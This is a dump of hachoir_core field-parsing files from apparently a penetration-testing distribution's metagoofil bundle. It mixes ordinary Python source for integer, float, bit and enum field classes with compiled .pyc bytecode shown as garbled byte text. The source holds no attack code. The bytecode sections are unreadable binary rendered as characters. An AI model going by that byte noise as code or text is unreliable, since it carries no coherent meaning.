—Ú Œ »Mc @sŒdZddklZddklZddklZlZddkl Z ddk l Z ddk l Z ddklZd efd ÑÉYZd ÑZd eefd ÑÉYZde fdÑÉYZdS(s2 Parent of all (field) classes in Hachoir: Field. iˇˇˇˇ(treversed(tInputFieldStream(t HachoirErrortHACHOIR_ERRORS(tLogger(t_(t makePrintable(treft FieldErrorcBseZdZRS(s@ Error raised by a L{Field}. @see: L{HachoirError} (t__name__t __module__t__doc__(((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyR scCs-|djodi||fÉSd|SdS(Nt/s/%s(tjoin(tpathtname((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pytjoinPaths t MissingFieldcBs#eZdÑZdÑZdÑZRS(cCs#ti|É||_||_dS(N(tKeyErrort__init__tfieldtkey(tselfRR((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyRs  cCsd|i|iifS(NsCan't get field "%s" from %s(RRR(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt__str__!scCsd|i|iifS(NuCan't get field "%s" from %s(RRR(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt __unicode__$s(R R RRR(((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyRs  tFieldcBsÒeZd,ZeZd,d,dÑZdÑZdÑZdÑZ e e ddÉZ dÑZ dÑZ dÑZd ÑZd ÑZd ÑZe d Ñd ÉZdÑZe eddÉZdÑZdÑZe dÑddÉZdÑZdÑZe dÑddÉZdÑZe eddÉZdÑZe eÉZdÑZe eddÉZ dÑZ!e e!ddÉZ"dÑZ#e e#dd ÉZ$d!ÑZ%e e%dd"ÉZ&d#ÑZ'e(d$ÑZ)d%ÑZ*d&ÑZ+d'ÑZ,d(ÑZ-d)ÑZ.d*ÑZ/d+ÑZ0RS(-cCsrt|itÉptÇ|djpd|jptÇ||_||_|iÉ|_||_ ||_ dS(s Set default class attributes, set right address if None address is given. @param parent: Parent field of this field @type parent: L{Field}|None @param name: Name of the field, have to be unique in parent. If it ends with "[]", end will be replaced with "[new_id]" (eg. "raw[]" becomes "raw[0]", next will be "raw[1]", and then "raw[2]", etc.) @type name: str @param size: Size of the field in bit (can be None, so it will be computed later) @type size: int|None @param address: Address in bit relative to the parent absolute address @type address: int|None @param description: Optional string description @type description: str|None iN( t issubclasst __class__RtAssertionErrortNonet_parentt_nametnextFieldAddresst_addresst_sizet _description(RtparentRtsizet description((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyR3s!   cCs|iS(N(R(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt_loggerNscCsdS(Nt((R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pytcreateDescriptionQscCsò|idjoÅyE|iÉ|_t|itÉot|iddtÉ|_nWqëtj o)}|idt |ÉÉd|_qëXn|iS(Ns ISO-8859-1t to_unicodesError getting description: R(( R#RR)t isinstancetstrRtTrueRterrortunicode(Rterr((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt_getDescriptionSs tdocs!Description of the field (string)cCs|iS(N(tdisplay(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyRascCs|iS(N(R3(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyRcscCs#d|ii|i|i|ifS(Ns!<%s path=%r, address=%s, size=%s>(RR RR!R"(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt__repr__escCs|iÉdj S(N(t _getValueR(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pythasValueiscCs tÉÇdS(N(tNotImplementedError(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt createValuekscsay|iÉâWn8tj o,}|itdÉt|ÉÉdânXáfdÜ|_àS(NsUnable to create value: %scsàS((((tvalue(sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt<lambda>ss(R8RR.RR/RR5(RR0((R9sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyR5ms cCs |iÉS((R5(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyR:ussValue of fieldcCs|iS(N(R(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt _getParentwssParent of this fieldcCs t|iÉS(N(R/R9(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt createDisplay{scCs`t|dÉpIy|iÉ|_WqYtj o#}|id|Éd|_qYXn|iS(Nt_Field__displaysUnable to create display: %su(thasattrR<R=RR.(RR0((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt _getDisplay}scCs |iÉS((R?(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyR:Öss5Short (unicode) string which represents field contentcCs;|i}t|tÉot|ddtÉSt|ÉSdS(NtASCIIR*(R9R+R,RR-R/(RR9((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pytcreateRawDisplayàs cCs`t|dÉpIy|iÉ|_WqYtj o#}|id|Éd|_qYXn|iS(Nt_Field__raw_displays Unable to create raw display: %su(R>RARBRR.(RR0((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt_getRawDisplayéscCs |iÉS((RC(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyR:ñss3(Unicode) string which represents raw field contentcCs|iS(N(R(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt_getNameôss0Field name (unique in its parent field set list)cCs|ipdS|ii|ÉS(N(RRt getFieldIndex(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt _getIndexûs cCs`|ipdSg}|}x%|o|i|iÉ|i}qWd|d<dit|ÉÉS(NR R(iˇˇˇˇ(RtappendRR R(RtnamesR((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt_getPath§s  s-Full path of the field starting at root fieldcCs|iS(N(R!(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt _getAddress±ss)Relative address in bit to parent addresscCs;|i}|i}x"|o||i7}|i}qW|S(N(R!R(Rtaddresstcurrent((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt_getAbsoluteAddress∂s   s/Absolute address (from stream beginning) in bitcCs|iS(N(R"(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt_getSize¿ssContent size in bitcCsZ|idÉodS|}x8tdt|ÉÉD]!}|i}|djoPq1q1W|S(Nt.i(tstripRtxrangetlenR(RRtconstRtindex((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt _getFieldƒs   cCsÀ|o¥|ddjoF|io|ii}n|}t|Édjo|S|d}n|}xO|idÉD]>}|i||É}|djot||ÉÇn|}qtW|StdÉÇdS(NiR is Key must not be an empty string!(RtrootRRtsplitRURRR(RRRSRLtpartR((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pytgetFieldŒs"   cCs|i|tÉS(N(RYtFalse(RR((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt __getitem__‚scCs5y|i|tÉdj SWntj otSXdS(N(RYRZRR(RR((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt __contains__ÂscKs|iptÇt||çS(N(RRR(Rtargs((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt_createInputStreamÎscCsVt|dÉo|iÉ}nd}|djo|iÉ}t|É|_n|S(Nt _sub_istream(R>R_RR^t weakref_ref(Rtstream((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt getSubIStreamÓs  cs"|iâááfdÜ|_dS(Ncs àà|çS(((R](tcistcreateInputStream(sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyR:˘s(R^(RRd((RcRdsB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt setSubIStream˜s cCstS(s[ Method called by code like "if field: (...)". Always returns True (R-(R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt __nonzero__˚scCs |iiS(N(RR (R((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt getFieldTypesN(1R R Rt static_sizeRZt is_field_setRR'R)R1tpropertyR&RRR4R6R8R5R9R;R$R<R?R3RARCt raw_displayRDRRFRTRIRRJRKRMtabsolute_addressRNR%RUR-RYR[R\R^RbReRfRg(((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyR'sd                                       N(R thachoir_core.compatibilityRthachoir_core.streamRthachoir_core.errorRRthachoir_core.logRthachoir_core.i18nRthachoir_core.toolsRtweakrefRR`RRRRR(((sB/pentest/enumeration/google/metagoofil/hachoir_core/field/field.pyt<module>s 
12,812
Python
.py
68
184.720588
1,580
0.462764
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,490
timestamp.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/timestamp.pyc
Ñò Î ÈMc@sddklZlZlZlZlZlZddklZl Z ddk l Z defd„ƒYZ d„Z e dedƒZ e d ed ƒZe dedƒZe d ed ƒZe d ed ƒZde fd„ƒYZdefd„ƒYZde fd„ƒYZdS(iÿÿÿÿ(t humanDatetimet timestampUNIXttimestampMac32ttimestampUUID60ttimestampWin64t durationWin64(tBitstFieldSet(tdatetimetGenericTimestampcBs/eZdd„Zd„Zd„Zd„ZRS(cCsti|||||ƒdS(N(Rt__init__(tselftparenttnametsizet description((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyR scCs t|iƒS(N(Rtvalue(R ((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyt createDisplay scCsti|ƒ}t|ƒS(N(Rt createValuetunicode(R R((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pytcreateRawDisplayscCsti|ƒdjS(Ni(RR(R ((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyt __nonzero__sN(t__name__t __module__tNoneR RRR(((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyR s   cs2dtf‡‡fd†ƒY}|}||_|S(Nt Timestampcs)eZd‡fd†Z‡fd†ZRS(csti|||ˆ|ƒdS(N(R R (R R R R(R(sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyR scsti|ƒ}ˆ|ƒS(N(RR(R R(thandler(sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyRsN(RRRR R((RR(sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyRs(R R(tcls_nameRRRtcls((RRsF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyttimestampFactorys tTimestampUnix32i tTimestampUnix64i@tTimestampUUID60i<tTimestampWin64tTimeDateMSDOS32cBs/eZdZdZd„Zd„Zd„ZRS(s< 32-bit MS-DOS timestamp (16-bit time, 16-bit date) i ccspt|dddƒVt|ddƒVt|ddƒVt|ddƒVt|dd ƒVt|d d d ƒVdS( NtsecondisSecond/2tminuteithourtdaytmonthityearisNumber of year after 1980(R(R ((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyt createFields-s c CsKtd|di|di|di|di|did|diƒS( Ni¼R(R'R&R%R$iR#(RR(R ((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyR8s"cCs t|iƒS(N(RR(R ((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyR=s(RRt__doc__t static_sizeR)RR(((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyR"'s  tDateTimeMSDOS32cBseZdZd„ZRS(s< 32-bit MS-DOS timestamp (16-bit date, 16-bit time) ccspt|ddƒVt|ddƒVt|dddƒVt|ddd ƒVt|d d ƒVt|d dƒVdS( NR&iR'iR(isNumber of year after 1980R#sSecond/2R$iR%(R(R ((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyR)Ds (RRR*R)(((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyR,@stTimedeltaWin64cBs&eZdd„Zd„Zd„ZRS(cCsti|||d|ƒdS(Ni@(R R (R R R R((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyR MscCs t|iƒS(N(thumanTimedeltaR(R ((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyRPscCsti|ƒ}t|ƒS(N(RRR(R R((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyRSsN(RRRR RR(((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyR-Ls  N(thachoir_core.toolsRRRRRRthachoir_core.fieldRRRR RRRtTimestampMac32R R!R"R,R-(((sF/pentest/enumeration/google/metagoofil/hachoir_core/field/timestamp.pyt<module>s. 
5,493
Python
.py
23
237.086957
884
0.452751
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,491
enum.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/enum.py
def Enum(field, enum, key_func=None): """ Enum is an adapter to another field: it will just change its display attribute. It uses a dictionnary to associate a value to another. key_func is an optional function with prototype "def func(key)->key" which is called to transform key. """ display = field.createDisplay if key_func: def createDisplay(): try: key = key_func(field.value) return enum[key] except LookupError: return display() else: def createDisplay(): try: return enum[field.value] except LookupError: return display() field.createDisplay = createDisplay field.getEnum = lambda: enum return field
801
Python
.py
24
24.291667
72
0.603871
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,492
field_set.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/field_set.py
from hachoir_core.field import BasicFieldSet, GenericFieldSet class FieldSet(GenericFieldSet): def __init__(self, parent, name, *args, **kw): assert issubclass(parent.__class__, BasicFieldSet) GenericFieldSet.__init__(self, parent, name, parent.stream, *args, **kw)
288
Python
.py
5
52.2
80
0.711744
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,493
integer.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/integer.py
""" Integer field classes: - UInt8, UInt16, UInt24, UInt32, UInt64: unsigned integer of 8, 16, 32, 64 bits ; - Int8, Int16, Int24, Int32, Int64: signed integer of 8, 16, 32, 64 bits. """ from hachoir_core.field import Bits, FieldError class GenericInteger(Bits): """ Generic integer class used to generate other classes. """ def __init__(self, parent, name, signed, size, description=None): if not (8 <= size <= 256): raise FieldError("Invalid integer size (%s): have to be in 8..256" % size) Bits.__init__(self, parent, name, size, description) self.signed = signed def createValue(self): return self._parent.stream.readInteger( self.absolute_address, self.signed, self._size, self._parent.endian) def integerFactory(name, is_signed, size, doc): class Integer(GenericInteger): __doc__ = doc static_size = size def __init__(self, parent, name, description=None): GenericInteger.__init__(self, parent, name, is_signed, size, description) cls = Integer cls.__name__ = name return cls UInt8 = integerFactory("UInt8", False, 8, "Unsigned integer of 8 bits") UInt16 = integerFactory("UInt16", False, 16, "Unsigned integer of 16 bits") UInt24 = integerFactory("UInt24", False, 24, "Unsigned integer of 24 bits") UInt32 = integerFactory("UInt32", False, 32, "Unsigned integer of 32 bits") UInt64 = integerFactory("UInt64", False, 64, "Unsigned integer of 64 bits") Int8 = integerFactory("Int8", True, 8, "Signed integer of 8 bits") Int16 = integerFactory("Int16", True, 16, "Signed integer of 16 bits") Int24 = integerFactory("Int24", True, 24, "Signed integer of 24 bits") Int32 = integerFactory("Int32", True, 32, "Signed integer of 32 bits") Int64 = integerFactory("Int64", True, 64, "Signed integer of 64 bits")
1,844
Python
.py
37
45.189189
86
0.684444
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,494
static_field_set.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/static_field_set.py
from hachoir_core.field import FieldSet, ParserError class StaticFieldSet(FieldSet): """ Static field set: format class attribute is a tuple of all fields in syntax like: format = ( (TYPE1, ARG1, ARG2, ...), (TYPE2, ARG1, ARG2, ..., {KEY1=VALUE1, ...}), ... ) Types with dynamic size are forbidden, eg. CString, PascalString8, etc. """ format = None # You have to redefine this class variable _class = None def __new__(cls, *args, **kw): assert cls.format is not None, "Class attribute 'format' is not set" if cls._class is not cls.__name__: cls._class = cls.__name__ cls.static_size = cls._computeStaticSize() return object.__new__(cls, *args, **kw) @staticmethod def _computeItemSize(item): item_class = item[0] if item_class.static_size is None: raise ParserError("Unable to get static size of field type: %s" % item_class.__name__) if callable(item_class.static_size): if isinstance(item[-1], dict): return item_class.static_size(*item[1:-1], **item[-1]) else: return item_class.static_size(*item[1:]) else: assert isinstance(item_class.static_size, (int, long)) return item_class.static_size def createFields(self): for item in self.format: if isinstance(item[-1], dict): yield item[0](self, *item[1:-1], **item[-1]) else: yield item[0](self, *item[1:]) @classmethod def _computeStaticSize(cls, *args): return sum(cls._computeItemSize(item) for item in cls.format) # Initial value of static_size, it changes when first instance # is created (see __new__) static_size = _computeStaticSize
1,870
Python
.py
46
31.478261
76
0.585903
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,495
bit_field.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/bit_field.py
""" Bit sized classes: - Bit: Single bit, value is False or True ; - Bits: Integer with a size in bits ; - RawBits: unknown content with a size in bits. """ from hachoir_core.field import Field from hachoir_core.i18n import _ from hachoir_core import config class RawBits(Field): """ Unknown content with a size in bits. """ static_size = staticmethod(lambda *args, **kw: args[1]) def __init__(self, parent, name, size, description=None): """ Constructor: see L{Field.__init__} for parameter description """ Field.__init__(self, parent, name, size, description) def hasValue(self): return True def createValue(self): return self._parent.stream.readBits( self.absolute_address, self._size, self._parent.endian) def createDisplay(self): if self._size < config.max_bit_length: return unicode(self.value) else: return _("<%s size=%u>" % (self.__class__.__name__, self._size)) createRawDisplay = createDisplay class Bits(RawBits): """ Positive integer with a size in bits @see: L{Bit} @see: L{RawBits} """ pass class Bit(RawBits): """ Single bit: value can be False or True, and size is exactly one bit. @see: L{Bits} """ static_size = 1 def __init__(self, parent, name, description=None): """ Constructor: see L{Field.__init__} for parameter description """ RawBits.__init__(self, parent, name, 1, description=description) def createValue(self): return 1 == self._parent.stream.readBits( self.absolute_address, 1, self._parent.endian) def createRawDisplay(self): return unicode(int(self.value))
1,777
Python
.py
54
26.611111
72
0.626097
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,496
static_field_set.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/static_field_set.pyc
Ñò Î ÈMc@s0ddklZlZdefd„ƒYZdS(iÿÿÿÿ(tFieldSett ParserErrortStaticFieldSetcBsPeZdZdZdZd„Zed„ƒZd„Z e d„ƒZ e Z RS(s1 Static field set: format class attribute is a tuple of all fields in syntax like: format = ( (TYPE1, ARG1, ARG2, ...), (TYPE2, ARG1, ARG2, ..., {KEY1=VALUE1, ...}), ... ) Types with dynamic size are forbidden, eg. CString, PascalString8, etc. cOs_|idj p td‚|i|ij o|i|_|iƒ|_nti|||ŽS(Ns#Class attribute 'format' is not set( tformattNonetAssertionErrort_classt__name__t_computeStaticSizet static_sizetobjectt__new__(tclstargstkw((sM/pentest/enumeration/google/metagoofil/hachoir_core/field/static_field_set.pyR s  cCs±|d}|idjotd|iƒ‚nt|iƒoEt|dtƒo|i|dd!|dŽS|i|dŒSn(t|ittfƒpt ‚|iSdS(Nis+Unable to get static size of field type: %siÿÿÿÿi( R RRRtcallablet isinstancetdicttinttlongR(titemt item_class((sM/pentest/enumeration/google/metagoofil/hachoir_core/field/static_field_set.pyt_computeItemSizes  ccsfx_|iD]T}t|dtƒo$|d||dd!|dŽVq |d||dŒVq WdS(Niÿÿÿÿii(RRR(tselfR((sM/pentest/enumeration/google/metagoofil/hachoir_core/field/static_field_set.pyt createFields(s  $cst‡fd†ˆiDƒƒS(Nc3s"x|]}ˆi|ƒVqWdS(N(R(t.0R(R (sM/pentest/enumeration/google/metagoofil/hachoir_core/field/static_field_set.pys <genexpr>1s (tsumR(R R ((R sM/pentest/enumeration/google/metagoofil/hachoir_core/field/static_field_set.pyR/sN( Rt __module__t__doc__RRRR t staticmethodRRt classmethodRR (((sM/pentest/enumeration/google/metagoofil/hachoir_core/field/static_field_set.pyRs   N(thachoir_core.fieldRRR(((sM/pentest/enumeration/google/metagoofil/hachoir_core/field/static_field_set.pyt<module>s
2,648
Python
.py
23
111.478261
433
0.465905
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,497
float.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/float.py
from hachoir_core.field import Bit, Bits, FieldSet from hachoir_core.endian import BIG_ENDIAN, LITTLE_ENDIAN import struct # Make sure that we use right struct types assert struct.calcsize("f") == 4 assert struct.calcsize("d") == 8 assert struct.unpack("<d", "\x1f\x85\xebQ\xb8\x1e\t@")[0] == 3.14 assert struct.unpack(">d", "\xc0\0\0\0\0\0\0\0")[0] == -2.0 class FloatMantissa(Bits): def createValue(self): value = Bits.createValue(self) return 1 + float(value) / (2 ** self.size) def createRawDisplay(self): return unicode(Bits.createValue(self)) class FloatExponent(Bits): def __init__(self, parent, name, size): Bits.__init__(self, parent, name, size) self.bias = 2 ** (size-1) - 1 def createValue(self): return Bits.createValue(self) - self.bias def createRawDisplay(self): return unicode(self.value + self.bias) def floatFactory(name, format, mantissa_bits, exponent_bits, doc): size = 1 + mantissa_bits + exponent_bits class Float(FieldSet): static_size = size __doc__ = doc def __init__(self, parent, name, description=None): assert parent.endian in (BIG_ENDIAN, LITTLE_ENDIAN) FieldSet.__init__(self, parent, name, description, size) if format: if self._parent.endian == BIG_ENDIAN: self.struct_format = ">"+format else: self.struct_format = "<"+format else: self.struct_format = None def createValue(self): """ Create float value: use struct.unpack() when it's possible (32 and 64-bit float) or compute it with : mantissa * (2.0 ** exponent) This computation may raise an OverflowError. """ if self.struct_format: raw = self._parent.stream.readBytes( self.absolute_address, self._size//8) try: return struct.unpack(self.struct_format, raw)[0] except struct.error, err: raise ValueError("[%s] conversion error: %s" % (self.__class__.__name__, err)) else: try: value = self["mantissa"].value * (2.0 ** float(self["exponent"].value)) if self["negative"].value: return -(value) else: return value except OverflowError: raise ValueError("[%s] floating point overflow" % self.__class__.__name__) def createFields(self): yield Bit(self, "negative") yield FloatExponent(self, "exponent", exponent_bits) if 64 <= mantissa_bits: yield Bit(self, "one") yield FloatMantissa(self, "mantissa", mantissa_bits-1) else: yield FloatMantissa(self, "mantissa", mantissa_bits) cls = Float cls.__name__ = name return cls # 32-bit float (standart: IEEE 754/854) Float32 = floatFactory("Float32", "f", 23, 8, "Floating point number: format IEEE 754 int 32 bit") # 64-bit float (standart: IEEE 754/854) Float64 = floatFactory("Float64", "d", 52, 11, "Floating point number: format IEEE 754 in 64 bit") # 80-bit float (standart: IEEE 754/854) Float80 = floatFactory("Float80", None, 64, 15, "Floating point number: format IEEE 754 in 80 bit")
3,539
Python
.py
82
32.256098
91
0.568895
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,498
__init__.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/__init__.pyc
Ñò Î ÈMc7@sÚddklZlZlZlZddklZlZlZddk l Z l Z ddk l Z lZddklZddklZlZlZlZlZlZlZlZlZlZlZddklZddkl Z l!Z!l"Z"l#Z#l$Z$l%Z%l&Z&dd k'l(Z(l)Z)l*Z*l+Z+dd k,l-Z-l.Z.l/Z/l0Z0l1Z1l2Z2l3Z3dd k4l5Z5dd k6l7Z7l8Z8l9Z9dd k:l;Z;ddk<l=Z=l>Z>ddk?l@Z@ddkAlBZBddkClDZDddkElFZFlGZGddkHlIZIlJZJlKZKddkLlMZMlNZNlOZOlPZPlQZQlRZRlSZSlTZTlUZUddkVlWZWlXZXeeee e e eeeeeeeeeeee!e"e#e$e%e&eIeJe(e)e*e+eNePeReSeTf"ZYdS(iÿÿÿÿ(tFieldt FieldErrort MissingFieldtjoinPath(tBittBitstRawBits(tBytestRawBytes(tSubFiletCompressedField(t Character( tInt8tInt16tInt24tInt32tInt64tUInt8tUInt16tUInt24tUInt32tUInt64tGenericInteger(tEnum(t GenericStringtStringtCStringtUnixLinet PascalString8tPascalString16tPascalString32(t PaddingBitst PaddingBytestNullBitst NullBytes(tisStringt isIntegertcreatePaddingFieldtcreateNullFieldtcreateRawFieldt writeIntoFiletcreateOrphanField(t FakeArray(t BasicFieldSett ParserErrort MatchError(tGenericFieldSet(tSeekableFieldSettRootSeekableFieldSet(tFieldSet(tStaticFieldSet(tParser(t GenericVectort UserVector(tFloat32tFloat64tFloat80( tGenericTimestamptTimestampUnix32tTimestampUnix64tTimestampMac32tTimestampUUID60tTimestampWin64tDateTimeMSDOS32tTimeDateMSDOS32tTimedeltaWin64(tLinktFragmentN(Zthachoir_core.field.fieldRRRRthachoir_core.field.bit_fieldRRRthachoir_core.field.byte_fieldRRthachoir_core.field.sub_fileR R thachoir_core.field.characterR thachoir_core.field.integerR R RRRRRRRRRthachoir_core.field.enumRthachoir_core.field.string_fieldRRRRRRRthachoir_core.field.paddingRR R!R"thachoir_core.field.helperR#R$R%R&R'R(R)thachoir_core.field.fake_arrayR*t"hachoir_core.field.basic_field_setR+R,R-t$hachoir_core.field.generic_field_setR.t%hachoir_core.field.seekable_field_setR/R0thachoir_core.field.field_setR1t#hachoir_core.field.static_field_setR2thachoir_core.field.parserR3thachoir_core.field.vectorR4R5thachoir_core.field.floatR6R7R8thachoir_core.field.timestampR9R:R;R<R=R>R?R@RAthachoir_core.field.linkRBRCtavailable_types(((sE/pentest/enumeration/google/metagoofil/hachoir_core/field/__init__.pyt<module>sB"L4"4@    
3,138
Python
.py
10
312.8
1,053
0.566954
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,499
helper.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/helper.pyc
Ñò Î ÈMc@s¥ddklZlZlZlZlZlZlZlZl Z ddk l Z dd d„Z dd d„Zdd d„Zd„Zd „Zd „Zd „Zd S( iÿÿÿÿ( t FieldErrortRawBitstRawBytest PaddingBitst PaddingBytestNullBitst NullBytest GenericStringtGenericInteger(tFileOutputStreamsraw[]cCsa|djotd|ƒ‚n|ddjot|||d|ƒSt||||ƒSdS(Nis%Unable to create raw field of %s bitsi(RRR(tparenttsizetnamet description((sC/pentest/enumeration/google/metagoofil/hachoir_core/field/helper.pytcreateRawFields  s padding[]cCsa|djotd|ƒ‚n|ddjot|||d|ƒSt||||ƒSdS(Nis#Unable to create padding of %s bitsi(RRR(R tnbitsR R ((sC/pentest/enumeration/google/metagoofil/hachoir_core/field/helper.pytcreatePaddingFields  cCsa|djotd|ƒ‚n|ddjot|||d|ƒSt||||ƒSdS(Nis(Unable to create null padding of %s bitsi(RRR(R RR R ((sC/pentest/enumeration/google/metagoofil/hachoir_core/field/helper.pytcreateNullFields  cCst|itƒS(N(t issubclasst __class__R(tfield((sC/pentest/enumeration/google/metagoofil/hachoir_core/field/helper.pytisString scCst|itƒS(N(RRR(R((sC/pentest/enumeration/google/metagoofil/hachoir_core/field/helper.pyt isInteger#scCst|ƒ}|i|ƒdS(N(R t writeInto(tfieldsettfilenametoutput((sC/pentest/enumeration/google/metagoofil/hachoir_core/field/helper.pyt writeIntoFile&s cOs9|i}z||_||||Ž}Wd||_X|S(s² Create an orphan field at specified address: field_cls(fieldset, *args, **kw) The field uses the fieldset properties but it isn't added to the field set. N(t _current_size(Rtaddresst field_clstargstkwt save_sizeR((sC/pentest/enumeration/google/metagoofil/hachoir_core/field/helper.pytcreateOrphanField*s    N(thachoir_core.fieldRRRRRRRRRthachoir_core.streamR tNoneRRRRRRR"(((sC/pentest/enumeration/google/metagoofil/hachoir_core/field/helper.pyt<module>s@   
2,839
Python
.py
17
164.647059
659
0.475195
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)